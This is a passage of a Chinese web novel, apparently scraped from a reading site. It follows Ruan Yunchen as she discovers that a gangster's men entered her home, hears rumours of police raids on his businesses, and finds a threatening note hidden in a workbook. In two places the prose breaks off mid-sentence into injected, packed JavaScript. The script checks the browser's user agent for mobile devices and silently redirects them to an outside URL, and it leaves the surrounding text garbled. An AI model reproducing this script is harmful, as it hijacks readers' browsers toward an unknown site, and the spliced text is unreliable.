摊位旁有几个邻居坐在塑料小凳上,有人吸溜了一声,把碗里的汤喝得一干二净,却是同时透过面碗不动声色地瞥了阮云琛一眼。 那目光不算刺探,也不算友善,更像是某种带着隐秘猜测的审视。 阮云琛的脚步没有停,脸上的表情也没有半点变化。 她不在乎。 至少现在的她,没有功夫在乎。 得快点回家。 阮云琛几乎是冲上了楼,三步并做两步,平时要上许久的台阶今天几乎一眨眼就蹦了上去。 她快步跑上了三楼,手指一把扣住了门把手,却立刻顿住了动作。 门锁上有一道细微的刮痕,不仔细看几乎察觉不到。而门把手的金属表面,有一点暗哑的污迹,像是被什么匆匆擦过,却未能完全抹去。 她的指尖攥紧了几分,呼吸不由得缓下来。手缓缓松开,从口袋里掏出钥匙,轻轻插入锁孔,转动时压低了力度,几乎没有发出任何声音。 门一开,空气里扑面而来一丝烟草味。 ……烟草。 空气中那股淡淡的烟草味像无形的藤蔓,盘旋着蔓延进她的鼻腔,带着点呛人的苦涩。 阮云琛心里“咯噔”了一声。 她站在玄关处,指尖还攥着门钥匙,目光缓缓扫过屋内——餐桌上的碗碟收拾得干干净净,椅子却摆得有些歪,像是有人急匆匆拉开又退回去时留下的痕迹。沙发上的抱枕被翻倒,露出底下的一条暗色折痕,像是有人用力按压过。 有什么不对劲。 空气里的一切都很安静,安静得过分。 烟草。客厅的抱枕。还有那道几乎不可察的门锁刮痕。 陌生的东西没有留下,只留下一丝残气,一丝轻得仿佛错觉的痕迹。比起明目张胆的侵入,这才是最让人不安的地方——有人来了。 她的呼吸绷紧,连膝盖都不自觉地僵了一下。 鞋柜旁的地板隐约有一串细微的水痕,延伸至门口,像是脚底带来的泥水,被匆忙擦过但未能彻底清理。 她的手缓缓摸向门旁的灯开关—— “姐。” 低低的一声轻唤打破了沉默。 阮云琛猛地抬头,看到卧室门被轻轻推开了一条缝,阮秋探出半个身子,逆着昏暗的灯光,神色藏在阴影里看不分明。 “你回来了。” 阮秋的声音很轻,像是掺了夜晚的风,一开口便迅速散开。他站在卧室门口,靠着门框,半边身影隐在暗影里。 阮云琛没有回应,眼睛盯着他,微微眯了眯。光线下,他的脸有点苍白,嘴唇抿得紧,像是有什么没说出来的话卡在喉咙里。 阮秋被看得有些不自在,移开了目光,指尖不安地在门框边蹭了蹭,低声开口:“淼淼睡了。” “怎么回事?”阮云琛的声音低得几乎贴着地面,平静中透着一种难以察觉的压迫。 阮秋迟疑了一瞬,回头看向卧室的门。淼淼安安静静地躺在里面,窗帘被拉得严严实实,室内一片昏暗。 他抬起手,小心翼翼地将门关上,手掌贴着木门稍稍用力,确认门缝没有丝毫松动。转身时,他的动作更轻了,仿佛稍微快一点,就会惊醒什么。 “有人来过。”阮秋低声说,语气里没有任何起伏,但那短短几个字却带着沉甸甸的重量。 阮云琛站在原地,指尖还攥着钥匙,没有挪动。她看着阮秋,目光沉静,心中却有股无法抑制的惶恐一点点攀升。 “谁?”她问。 “两个男人。”阮秋走近了些,声音压得更低,像是怕被外面的风听了去,“他们说是替宋祈传话。” 阮云琛的眉头几不可察地皱了一下。 她没有立刻接话,只是稍稍偏头,目光扫过屋内的每个角落。 “说了什么?”她的声音听起来很轻,轻到几乎掺不进一丝力气。 阮秋的手指攥紧了一瞬,像是下意识地想稳住自己。他低着头,顿了顿才开口:“他说……‘你跑不掉的。’” 阮云琛的目光停在沙发上,抱枕的深痕,屋中的烟味儿,还有各种奇怪气息的残留——烟草味还没散干净,像是一股阴冷的影子,盘桓在房间的每个角落。 她没有立刻说话,胸口却隐隐有些发闷,像是一块湿布捂住了喉咙,连呼吸都变得不顺畅。 “他们什么时候来的?”她问,声音有些干哑。 “刚刚。”阮秋低声回答,眼神却闪了一下,像是担忧又像是后悔,“他们没待多久,就抽了根烟,说了这句话,然后走了。” 空气像是被拉紧的琴弦,四周的一切都显得格外寂静,甚至连风声都在一瞬间低了下来。 阮云琛的眉头微不可察地蹙了一下,她盯着阮秋,语气放轻:“怎么回事,说清楚。” 阮秋的喉结上下滚了滚,低头抠了抠指尖,声音很低:“……有人敲门,说是送错外卖了。” 他抬起头,看了阮云琛一眼,又很快垂下目光:“我闻到烟味,觉得不对劲,让淼淼先躲到房间里去,把门锁上。” 阮云琛没有插话,只是看着他,等着他说下去。 “他们两个人,穿着普通,戴了帽子。我……”阮秋犹豫了一下,声音更低了些,“我开了门。” 他这句话说得极轻,像是怕被谁听见,又像是在自我审判。他的手指在衣角捏了一下又松开,嗓音里透出压抑不住的懊恼:“他们推开我,直接就进来了,就在沙发那儿坐着,抽了一根烟。” 他的目光下意识地扫向那张沙发,眼底掠过一丝无法掩饰的阴影:“一个人说,这里倒是挺整洁的,收拾得不像是普通人家……另一个就问你去哪儿了。” 他的声音在提到“你”时微微一顿,像是在刻意压住什么不安。 阮云琛的眉头几不可察地皱了一下,指尖几乎掐进了掌心,语气依旧平稳:“然后呢?” 阮秋低着头,手指用力抓住衣角,像是在对自己发泄怒气:“我说你出门买菜,很快就回来......他们让我告诉你,‘别费劲了,别想逃’,然后就走了。” ——别费劲了,别想逃。 阮云琛心里“咯噔”了一声,脑子里有根弦被猛地绷了紧。 她下意识地屏住呼吸,脑海里迅速闪过各种可能性——宋祈发现了什么?不对,不可能。她的动作足够小心,计划刚刚展开,他不可能这么快察觉。 可是,如果不是发现了什么,他叫人带来这句话的意图是什么? 他发现了自己的计划? 不...... 绝不可能。 阮云琛几乎是立刻推翻了这个猜测。 宋祈是个控制欲极强的人,如果他真的察觉到什么异常,绝不会只是派两个无足轻重的手下过来打个模糊的招呼。 他会亲自出马,直接掐住她的脖子,亲手将她——还有她的家人们一起开肠剖肚。 这一点阮云琛清楚得不能再清楚。 所以这次不过是一次惯性的警告。 ——这更像是宋祈为了巩固自己的威慑力。 也许是他的直觉,也许是对她最近冷淡态度的试探,又或许只是他的惯性动作。 宋祈这个人最擅长在别人稍有异动时,迅速加重钳制。他手下的势力最近被盯得很紧,估计他自己也已经感受到了来自四面八方的压力。 这种时候,他极度需要确认每一根线都还在他手里。 阮云琛的呼吸微微一顿,掌心无意识地攥紧,冰凉的触感贴着指尖。烟草味还在空气里徘徊,像某种粘腻的阴影,压在她的胸口。 宋祈的警告并没有直接的杀伤力,但他的目的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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空气像是被冰冻住了一般,每一丝流动都变得缓慢。阮云琛的眼神忽然柔和了一些,但眉间的冷意却依旧没有散去。 她缓缓抬起手,轻轻落在他的肩膀上,那力道不重,却像是一根撑住他摇摇欲坠情绪的柱子。 阮秋猛地一抖,抬起头看向阮云琛,眼里带着一丝焦灼:“姐,我……” 阮云琛没有让他说完,只是问:“淼淼呢?” “我开门前让淼淼去屋里画画,她应该没听见什么。后来他们走了之后,淼淼问来的是谁,说客厅的味道好臭。我告诉她是来找邻居的,但是邻居不在,所以叫他们来家里坐了一会......” 阮云琛的目光依旧盯着他,语气不轻不重:“她信了吗?” 阮秋“嗯”了声,点了点头,声音压得更低了:“我还说你很快就回来,她才放心。” 他的停顿了会儿,像是压下了什么情绪:“后来我让她先去洗澡,洗完就睡了。” 房间里的光线昏黄而模糊,像是笼罩着一层薄雾。阮秋站在那里,肩膀微微绷着,像是一只犯了错的孩子。他不敢看阮云琛,只是盯着地板,嘴唇抿成了一条直线。 阮云琛的目光落在阮秋微微颤抖的手上,那些白着的指节像是将他内心的慌乱攥得更紧了一些。 “很怕吗?”她轻轻地开口,声音缓得像风擦过树梢。 阮秋的身体微不可察地僵了一下,垂着头,咬紧了牙关:“没有。” 他的语气倔强,却因为压得太低,显得有些发虚。阮云琛没有拆穿他,只是轻轻叹了一口气,目光从他攥紧的拳头滑到他微红的耳尖,眼里浮现出几分复杂的神色。 阮云琛抬起手,停在了半空中,犹豫了一瞬,最后轻轻落在他的头顶。 那动作很轻,却带着一种安抚的意味。 “没事就好。”她低声说,语气像是在和他说话,又像是在安慰自己。 阮秋愣住了,像是没想到她会这么说。他的喉结动了一下,抬起的眼神里闪过一丝惊讶,但很快又低了下去,像是怕被她看穿。 阮云琛没有再说话,只是收回了手,转过身去,走向厨房,目光落在了台面上残留的一点烟灰,指尖微微用力攥了一下。 “今晚睡觉时,把房间的门锁好。”她说,语气冷静得近乎冷漠,“有什么事,马上叫我。” “姐……”阮秋的声音忽然响起,有些沙哑,却带着他这个年纪不该有的认真,“对不起。” 阮云琛停下脚步,站在厨房与客厅的交界处,微微侧过头。灯光从她的肩膀洒下来,将她的影子拉长,投在墙上,有种说不出的孤寂。 “你没做错什么。”她低声说道,语调很轻,像是在陈述一个无关紧要的事实。 阮秋站在原地,眼神藏在昏黄的灯光里,整个人看上去像是被什么压住了一样。他咬着下唇,像是想反驳什么,却又硬生生咽了下去。 阮云琛终于转过身,重新看向他,目光柔和了些,却依旧带着某种深沉的疲惫:“你做得已经很好了,阮秋。” 她走到他面前,伸出手,轻轻拍了拍他的肩膀。那动作很轻,却像是一根无形的柱子,将他摇摇欲坠的情绪撑住了。 “你不是一个人。”她顿了一下,语气平静,却隐隐带着某种坚定,“别把所有的事情都压在自己身上。” 话音刚落,阮秋像是愣住了。他的肩膀微微僵了一下,抬起的眼神里闪过一瞬的茫然,接着又是难以掩饰的震动。他的手指轻轻动了动,像是想握住什么,却又不知道从何下手。 “姐……”他喊了一声,嗓音哑得不像话。 阮云琛没有回应,只是平静地看着他。她的目光很淡,却像深夜里一盏微弱却执着的灯,透过一切冷硬的外壳,直直照进人心底。 阮秋低下头,嘴唇抿得发白。他的呼吸有些不稳,像是想说点什么,又怕说出来会让这片刻的平静碎掉。 片刻的沉默像是风吹过紧绷的琴弦,将情绪拉到了极限。 “你也是。”他忽然开了口,声音很低,却坚定得让人无法忽视。 60. 再等等 阮云琛一怔,目光微微一动。 “你也不是一个人。”阮秋的手抬了抬,却在半空中停住了。 他最终只是站在原地,嗓音里带着一点少年人稚嫩的固执:“别把所有的事情都压在自己身上。” 阮云琛看着他,没说话。她的眼神没有多大的变化,但眉梢眼角像是放松了一点,又像是多了些无法言说的复杂。 “你在担心我,可我也在担心你。”阮秋接着说,声音压得很低,像是怕惊动什么不可见的东西,“我知道……我做得不好,也帮不上你什么忙,但我会尽力。真的。” 他的语气带着一种几乎偏执的认真,就像风中摇曳的火苗,尽管微弱,却带着不容忽视的倔强。 阮云琛的喉咙微微动了动,想说点什么,但最终什么都没说。 她抬起手,犹豫了下,最终还是轻轻在他的头顶落了下,揉了一把,动作随意,又带着一点沉重。 “去睡吧。”她说,语调恢复了平常的冷淡,但语气里的那点柔和并没有散去,“明天还有事。” 阮秋没再说话。 他只是目光追随着她的动作,最终只是点了点头,转身走进了卧室。 阮云琛站在原地,目光停在地板上的暗影上,那道痕迹像是某种警告,死死嵌在她的视线里。空气中残留的烟草味并不浓烈,却像无形的藤蔓,盘旋在她的四周,让人无法逃离。 “你也不是一个人。”她低声重复,声音微弱,喃喃自语着。 她深吸了一口气,抬起头看向屋内。 屋子恢复了平静,餐桌收拾得一如往常,地板上看不出什么痕迹,但每一处都带着让人不安的迹象。烟味没有散尽,像阴影一样潜伏在角落里,提醒她方才的入侵。 ——你也不是一个人。 她的目光落在阮秋的房间门上,那扇门关得很紧,门缝间透出一点暖黄的灯光——那是以前阮启明还在的时候,他的房间。 阮云琛站在原地,视线被那扇门牢牢地钉了住。 在这之前,她很久没有推开过那道门了。 尽管房间里早就被收拾干净,墙角不再有堆积的灰尘,旧书桌上的刮痕也被油漆掩盖。可是,那种窒息感依然盘旋在她的记忆里,像某种挥之不去的阴影。 那是一间承载了太多情绪的房间,愤怒、冷漠、压迫……还有她不愿触碰的恐惧。 阮启明还在时,那个房间的门总是半掩着,像一张张开的嘴,时刻准备着吞噬什么。 夜晚偶尔路过,门缝里透出的光让人心里发冷,那不是暖黄,而是某种压迫感的投影。她曾经无数次从门前经过,却从未真正迈进过一步。 后来,他死了。 那扇门终于彻底关上,屋里再没有人影晃动,再没有暴躁的脚步声和夹杂着怒火的呵斥。 阮云琛以为一切都过去了,可门板上的那些旧划痕、墙角的水渍,都像无声的印记,提醒着她这个房间曾经的主人。 她清理了很久,胃里面翻江倒海,身体仿佛带着一种自我麻痹的机械感,一点点擦去屋子里的污渍,将那些难以直视的物品装进纸箱扔掉。 直到有一天,房间变得干净了,连空气都似乎透亮了几分,可她却从未真正跨进去。 那地方,像是被某种无形的界线隔开,留给她的,只剩下压抑的空白。 但现在......现在,那片空白被填上了。 那扇门终于再一次被打开,似乎将过去那些压抑的阴影一并放了出来,却又混杂着新的重量,沉沉地落在她的心头。 灯光柔和,映出阮秋的影子,却没能完全驱散藏在角落里的某种窒息感。阮云琛看着那扇门,心里浮上一种说不清的情绪。 她突然想起了刚才阮秋站在她面前的样子,那种倔强的隐忍,让人心疼得几乎无法直视。 阮云琛闭了闭眼,胸口仿佛压着一块沉重的石头。 阮秋不该这样。 他只是个孩子,他本不该经历这些,更不该因为她的缘故,背负上这样的压力和恐惧。 她指尖微微蜷缩,想要攥紧什么,却又觉得无力。 明明是她将他从那个破烂的地方带回来的,可现在,他却因为她被迫深陷这无法逃离的迷局。 阮云琛不愿承认,但她知道,阮秋和淼淼在她身边,不仅是她的依靠,也是她最大的软肋。 “是我把他们带进了这个局里。” 这个念头像刀子一样在脑海里划过,带着细微却绵长的痛感,让她的呼吸骤然一滞。 她的脑海中浮现出阮秋的脸,那张还带着稚气的轮廓,此刻却总是刻意板着表情,好像能扛下一切。 他在她面前努力表现得很成熟,言语之间带着他这个年纪不该有的镇定——但她比任何人都清楚,那不过是硬撑,是他为了让自己看起来可靠而刻意塑造的样子。 而淼淼……那个总爱缠着她问东问西的小姑娘,这几天却安静得有些反常。 她还会笑,但笑容里多了一种说不清道不明的压抑,像是在无声地窥探周围的空气是否安全。 连平日里大声念叨的兴趣班和学校趣事都变得零零碎碎,偶尔才含混地说几句,仿佛怕扰了什么她不该知道的事。 阮云琛感到一阵窒息,喉咙像被无形的手紧紧攥住。 她甚至不敢去细想,如果今天那些人更进一步,会发生什么。 那画面只是稍稍在脑海中浮现,她便觉手指发凉,心里像被凌空割开了一道口子,冷风呼啸着灌进去。 ——他们原本不该承受这些。 他们原本不应该承受这些的。 阮云琛闭上眼,试图把某些念头压下去,却发现那些念头顽固得像钉子,越敲越深。 客厅的灯光打在她脚边,地板上隐约反射出一层薄薄的光晕。沙发上的抱枕依旧倒着,像某种松散的警告,显得格外刺眼。 她的目光转向厨房的窗户,玻璃上映出夜晚昏暗的影子,那影子摇摇晃晃,像随时都会被风吹散。 她不能让这些继续下去。 她的手指动了动,掌心还带着些许冰凉,像是刚从寒冬的雪地里收回一般。思绪却没有停,反而逐渐理清了一些东西。 她得找到一个办法,尽快。 无论是安排淼淼和阮秋暂时离开,还是加速自己的计划,让这一切尽快结束,她不能再拖延。 阮云琛的目光最终落在了书架上。 那上面摆着的几本旧书和一只缺了角的瓷杯,那是她很久之前从夜市淘回来的。生活的痕迹随处可见,却只让她觉得刺眼。这里每一处的安稳,都是她无法彻底守住的东西——至少现在还不是。 她深吸了一口气,转身走向门口,轻轻拉了拉门锁。金属传来的微弱响声,让她的思绪稍稍回归现实。锁是结实的,但并不代表绝对安全。屋内的一切表象,依旧是无形的绳索,将她、将他们一家拉入局里。 “再等等,”她低声对自己说,声音轻得几乎听不见,“还有十八天。” 清晨的寒意透过窗帘的缝隙钻进屋子,薄雾笼罩着街头巷尾,给城市披上了一层朦胧的外衣。 阮云琛掖紧了毛衣的袖口,随手将围巾绕在脖子上,拎起布袋出门。 门锁转动的声音在安静的楼道里清晰可闻,似乎刻意提醒她:这是一个无声的世界,任何异样都会显得突兀。 她快步下了楼。 脚步声在狭窄的楼道里回响,声音虽轻,却清晰得像针落在玻璃上,割破了早晨的寂静。她下意识地放慢了一些动作,手指微微抬起,拂过栏杆边缘的粗糙漆面。 ——楼道里没有人。 没有人靠在门框边窃窃私语,也没有那种半推半挡的目光。邻居们似乎像往常一样,躲在各自的房间里,生活得井井有条,像是什么都没发生过。 空气里带着点灰尘味,一切都显得安静得过分,甚至不真实。 阮云琛推开楼道的铁门,金属门轴发出轻微的“吱呀”声,外面的寒风迎面吹来,让她猝不及防地缩了缩脖子。 楼下的面摊已经摆好,面锅里煮着水,腾腾冒着白气,木桌边空无一人。 万秀正在洗碗,手在冷水里泡得发红。程一冉站在旁边,低着头,像是专心致志地擦着一张桌子。摊子不大,几把椅子散在一旁,和往常一样,落满了一层灰。 阮云琛从摊子旁走过,万秀的目光追随了她一瞬,随后迅速低了下去。手里的动作没有停,只是水声淹没了一切,像是什么都没发生过。 阮云琛的脚步也没停。 风吹得她围巾的一角微微扬起,挡住了她半边的脸,但她依旧感受到了背后的安静——一种刻意的、不自然的平静。 这大概就是万秀的选择。 不说及阮云琛,街坊邻里就也不会过于关注万秀借了不干净的钱这件事。她大概是自己觉得丢脸,又可能是真的害怕起了社会上的人的报复。 阮云琛不知道。 她也没时间关注。 那些该说的、不该说的话,像尘土一样被扫进了阴影里。无声的疏离比任何絮叨都更具分量,像是一把悬在头顶的刀,切断了一切连结。 转过巷口,市集的喧嚣终于传了过来。 清晨的街道并不热闹,三三两两的行人和摊贩将薄雾撕开了一些,但寒意却依旧未散。 路边的煎饼摊冒出一股热气,蒸得空气里带上一点面香和葱油味,混杂着冬天独有的冷冽,让人觉得醒神又冰冷。 市场的喧闹声渐渐清晰,摊贩们的吆喝交织成一曲喧嚣的协奏,但在阮云琛耳中却像是一场无意义的噪音。她挑了几个西红柿和一把青菜,站在摊边付钱时,隐约听见身后有人小声说话。 “昨晚上又查了几个地方,听说有娱乐场所直接被封了……” “王牌洗浴店?和那个什么什么......黄金台球室?”男人的声音压得不高,带着一种寻常的好奇。他拎着半斤排骨,动作不紧不慢,像是在刻意拖延时间,又像是在酝酿下一句话。 “对,就是那个,”旁边女人接上话,围巾上的蒸汽微微散去,“早上过来的时候就听说了,贴了封条,人都给带走了。” 摊贩正往箩筐里补菜,闻言抬起头,动作顿了一下,似笑非笑地接话:“还能有什么事儿啊?不干净呗,早晚的事儿。” 女人有些迟疑地看向摊贩:“可不就几个娱乐场所么……还能查出什么来?” “洗浴店?”摊贩嗤笑了一声,“嘿,信它是洗浴店啊?你说那地方就搓背洗澡,谁信呐。” 男人拎着排骨的手稍稍顿了顿,像是不经意问了一句:“那,怎么还动了这么多人?听说拉了好几车?” “啧,谁知道啊。”摊贩随手把一把青菜丢进篮子,语气含糊,“能被查成这样,背后没点东西,可能吗?” 女人低头理了理围巾,声音压低了些:“你意思是……那店的钱不干净?” “嘿,这年头还有几个地方是干净的?”旁边有个择菜的人低低笑了一声,像是在感慨,又像是在自嘲,“不是钱不干净,就是人不干净呗,混黑,涉黄,踩红线,这红红黄黄黑黑的,总得搭上一样,警察才愿意动呗。” “嘘!话可不能那么说,小心把你带走教育。”女人瞪了一眼那人。 阮云琛站在摊位前,手指无意识地在布袋上捏了捏,眼睛盯着面前的菜,却没有真正看进去。她将零钱递给摊主,动作一如往常,但耳朵却分毫未错过那些片段的话语。 ——王牌洗浴店,黄金海岸台球室。 那些是宋祈的地盘,平日里灯火辉煌,藏着太多不为人知的秘密。 阮云琛无法确定这些店被查是否和宋祈有直接关联,却是非常清楚,这种级别的行动不可能是单纯的巧合。 她拎着布袋的手微微收紧,袋口的布料在指尖绷出一道褶痕。寒风从领口灌进来,冻得后脖子一阵发紧。 “巧合吗?”她心里问了一句,又否定般轻轻摇了摇头。 不,不可能。 阮云琛站在原地,眼神没有焦点地盯着袋子里的西红柿,鲜红的表皮反射着模糊的光,像是某种信号在不断闪烁。 市场的喧闹声渐渐远去,她的注意力集中到耳边的一阵风声上,低沉而绵长,像是隐匿在暗处的回响。 “不是巧合。”她在心里又一次重复,像是在确认,也像是在强迫自己接受。 洗浴店、台球室,甚至可能还有更多地方——那些她曾经亲自去过、听宋祈提过的地方,那些藏着秘密的名字,正一个接一个地从她脑海中浮现出来。不是无序的,而是沿着某种规则排列,像一张无形的地图。 每一个点都在逐渐被连成线,而这些线最终通向哪里,她心里已经有了答案。 她的目光在空气中缓缓移动,最终落在远处的一面墙上,那上面贴着几张泛黄的宣传单,边缘卷曲,字迹因受潮而模糊不清。 宣传单背后的阴影被风卷起一角,又缓缓落下,像是隐藏着什么。 “警察。”她在心里吐出这个词,声音像是被冻住了一样冷硬。 如果这是警察的行动,那宋祈的麻烦可比她想象中更大。 他正在被慢慢剥离,像一头困兽,被逼入越来越狭窄的死路。而这场博弈,除了警方,她自己也是不可忽视的一部分——尽管她所做的一切只是为了另一个目的。 布袋的重量在手心里拉扯着她的神经,让她的动作不自觉地顿了一下。她的脚步没有立刻迈开,而是站在原地,像是在等什么,又像是在思索什么。 不远处,有孩子的笑声传来,短促而清脆,掺杂在市场的吆喝里,带着一种不合时宜的天真。阮云琛听了一会儿,忽然转身朝回走去,步子快了几分,布袋在她手里晃动,发出轻微的摩擦声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049230|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>风掠过她的侧脸,带着刺骨的寒意,将那些零碎的片段一一拼接起来,最终落入她的思绪深处。 警察的网,已经撒下了。 她低头看了看手中的布袋,里面的蔬菜随着步伐轻轻摇晃,像一片轻薄的帷幕遮掩着什么,但又禁不住稍稍显露出端倪。阮云琛稍一停顿,目光转向街道另一端,步子却未停,径直往淮龙市立小学走去。 教学楼的走廊空荡荡的,光线透过窗格洒在地砖上,切割出一格一格的阴影,像是时间在地面上留下的痕迹。 阮云琛站在教务室的门口,手里的表格被捏得有些发皱,但她的脸色依旧平静,目光落在窗外,仿佛是在等什么,也仿佛只是静静地思索。 办公室里有低低的翻页声,中年女教师坐在桌后,手边堆满了卷子和课本。她抬起头,花白的发丝在阳光下透出些柔和的光,眼镜片反射着淡淡的光斑,将阮云琛的影子映得模糊不清。 “淼淼的姐姐吧?”她的声音透着公式化的和气,带着职业的疏离。 阮云琛点了点头,将手里的表格递过去。“她前段时间生病了,这两天刚恢复,我想给她办复学手续。” 表格的纸角微微翘起,在阳光下像是刀刃的影。女教师接过,低头翻了翻,点了点头:“手续没问题,明天就可以过来上课。” 阮云琛没有接话,视线在桌面上那些散乱的课本和学生名单之间扫了一圈,像是在犹豫。 “还有什么事吗?”女教师抬起头,目光从眼镜框上方扫过来,带着一点探询。 “如果没有材料......”她终于开了口,语调平缓得像是在陈述一件和自己无关的事,“能直接读六年级吗?” 女教师推了推眼镜,目光再次打量了她几秒,带着一丝迟疑:“材料?” 阮云琛垂下眼,目光落在地砖的一道裂纹上,像是在回答之前自己已经知道的结论:“没有身份证,也没有户口本。” 空气沉默了一瞬,仿佛阳光也凝滞在了窗框里。女教师皱了皱眉,放下手中的表格,语气变得有些无奈:“这种情况……学校没法录入档案。没有身份证,我们不能招生。” 声音很轻,却带着一种无可辩驳的重量。 ——果然。 果然。 阮云琛的手指微微动了动,垂在身侧的布袋拎带滑过掌心,留下了一道淡淡的红痕。她没有再说什么,只是点了点头,道了一声“谢谢”。 “等等——” 阮云琛一愣,推门的手顿了下,停住了脚步。 女教师摘下老花镜,手指搁在镜框上轻轻转了转,像是在思索,又像是在酝酿什么。片刻后,她抬起头,眼神里带着些迟疑和犹豫:“虽然我们这儿不是高中,但如果你需要的话……我可以做推荐人。” 推荐人? 阮云琛怔了一瞬,微微蹙眉:“推荐什么?” 女教师推了推桌上的一叠表格,眼神转向窗外,像是在斟酌措辞:“淮龙附属中学最近有个奖学金项目,减免学费的……针对高一新入学的学生。” 她说得很慢,像是怕刺到什么,又怕遗漏了什么,声音在办公室安静的空气里显得尤为清晰。 阮云琛看着她,唇微微动了动,却没出声。目光落回到桌上的表格上,像是要透过那层纸张看进更深处。 “当然,只是顺口一提。”女教师见她不说话,补了一句,声音低了些:“不一定非去,我只是......我是说,如果你需要的话,随时来找我,我可以帮你写推荐信。” 窗外传来一阵孩子们的嬉闹声,零星飘进来,又被风吹散。办公室里的气氛沉静下来,只有墙上的挂钟在滴答作响。 阮云琛站了一会儿,手指微微收紧,推开了办公室的门。 “谢谢。”她说。 阳光透过窗棂斑驳地洒在楼梯口,像细碎的金屑,却没能驱散墙角的阴影。孩子们的笑声从操场那头飘来,尖细的音节夹在冷风里,忽远忽近。 阮云琛脚步一顿,手指搭在扶手上,掌心传来金属冰冷的触感。 她低头看着楼梯的转角,目光越过护栏,落在操场中央的那群孩子身上。一个孩子绊了脚,踉跄了一下,却迅速被同伴拉住。笑声在操场上炸开,仿佛整个冬天都因此温暖了些。 没过多久,那笑声渐渐远去,取而代之的是风穿过楼道的声音,像是某种无形的回响,盘旋在她的耳边。 阮云琛的目光依旧停留在桌上的表格,像是在专注地看,却早已不再聚焦。 阮秋的名字从脑海深处浮现,清晰得像是一道被刻下的痕迹。 没有身份证,没有户口本,没有档案……这些冰冷的词汇仿佛一道道门槛,将他与正常生活隔绝开来。即便他比许多同龄人更加聪慧,甚至已经能够读懂初一的习题,却依然无法真正进入一个完整的课堂,融入一个属于他的班级。 她仿佛能看到他独自坐在书桌前的模样,光影斑驳地洒在摊开的书页上。他总是用看似平静的目光掩饰内心的波动,那种沉着与安静,就像一层薄薄的冰面,随时可能裂开。 可她知道,那并不代表他无所畏惧,也并不意味着他无欲无求。 她太了解他了,了解那个小心翼翼掩盖恐惧的男孩。他的沉默中藏着克制,克制中透着一丝稚嫩的倔强。他害怕被抛弃,害怕失去,但更害怕让别人失望。 而她呢? 她清楚自己想要为他争取的是什么。 或者说,她清楚自己想要为他、为淼淼、也为自己争取什么。 不是一个遥不可及的未来,而是当下的一点可能性。 一扇可以通往更多选择的门,而不是被堵死的死路。 阮云琛的手微微攥紧了布袋的拎带,指尖泛起些微凉意。思绪逐渐回笼,她垂下眼睑,轻轻吐出一口气。 当阮云琛回到家时,暮色已经沉得像是将整座楼吞没了。室内的光线从客厅透出来,带着一种温暖却脆弱的氛围。 阮秋坐在沙发上,手里捏着一本书,神情专注。淼淼趴在餐桌边写作业,铅笔在纸上沙沙作响,垂下的头发遮住了半张脸。屋子里弥漫着淡淡的书卷气息,与外面凛冽的寒风隔绝开来。 忽地,淼淼“呀”了声。 阮云琛愣了一下,手里的围巾被她攥得更紧了些。屋子里的静谧似乎被这一声轻响打破了,隐约的紧张感像是从某个角落悄然升起,弥散在空气中。 阮秋也不禁抬头往淼淼那儿看去,小姑娘盯着手里正在涂画的书愣神,神情里满是茫然,隔了会儿,从上面拿起了一张雪白的纸条:“姐,这书里夹着张纸。” 纸张的触感粗糙而微凉,阮云琛捏着这张折起来的纸,忽地有种不好的预感在心底盘旋着升起。 她展开字条。那上面歪歪扭扭的字迹像是随意写下的,却带着一种无法忽视的冷意—— “你姐姐知道该怎么办。” 61. 忠诚 阮云琛的指尖顿了一下,纸张在手里被捏出了一道褶皱。 她的目光落在淼淼摊开的书上,那是一本三年级的语文练习题册。 封面已经发黄,书页参差不齐地撕裂开,像被人随意掠夺过,失去了原本的整齐。薄得几乎成了一层纸壳,内容残缺得难以看清。 淼淼愣了一下,小心地看了她一眼,才低声说道:“下午在门边捡到的...我还以为是姐姐没收好,到那儿了。” “我没撕过,真的是捡到的时候就这样了。”淼淼的声音更小了些,目光在阮云琛和阮秋之间来回,看起来格外心虚。 阮云琛的眼神没有变,指尖却微微用力,将字条捏出了新的折痕。她看向淼淼:“下午就放在门边?” “对啊。”淼淼点点头,“我下午想去厨房倒水喝,就看到门缝边有本练习题册。” 阮云琛垂下眼,看着练习册边缘的撕痕,脑海里不由自主地勾勒出一副画面:粗暴地撕扯,碎片散落,直至这本书变得足够薄,足以被塞进一扇狭窄的门缝。 她的心绪随着这个画面一点点绷紧,像是有一根弦在头顶被悄无声息地拉紧。 “姐……”淼淼试探着开口,手指轻轻碰了碰书的封面,“这本书......这本书不是我们的,是吗?” 阮云琛将那张字条攥在手里,纸面微凉的触感随着掌心的温度一点点升高。她的目光落在淼淼的脸上,平静却带着一种不容置疑的镇定。 “没事,可能是学校的书本调错了地方。”她的语气轻缓,像是在讲一件无关紧要的小事,“我明天去学校问问。” 空气安静了一瞬,连笔尖划过纸面的沙沙声都停了下来。淼淼回过头,看了看那本练习册,又看了看阮云琛,似乎有些困惑,却没多问什么。 阮云琛平静地将练习册合上,放在了一旁,随后轻轻偏过头,平静地说了一句:“去把你自己的语文课本拿来,我抽查北宋。” 淼淼不太高兴地嘟起了嘴,但还是乖乖听话,跳下了椅子,踩着拖鞋,啪嗒啪嗒地到卧室找书去了。 厨房的灯光微微晃动,阮云琛将字条塞进了水槽旁的小铁盒中,点燃火柴。火光一点点舔过纸面,将那些歪斜的字迹化为灰烬,留下几缕白烟在空中缓缓升腾。 她的手在火光的映照下微微颤了一下,随即稳了住。 ——这是一次警告,一次试探。对方已经靠得很近了。 她心里无声地重复了一遍,逼自己正视某个难以忽视的事实。 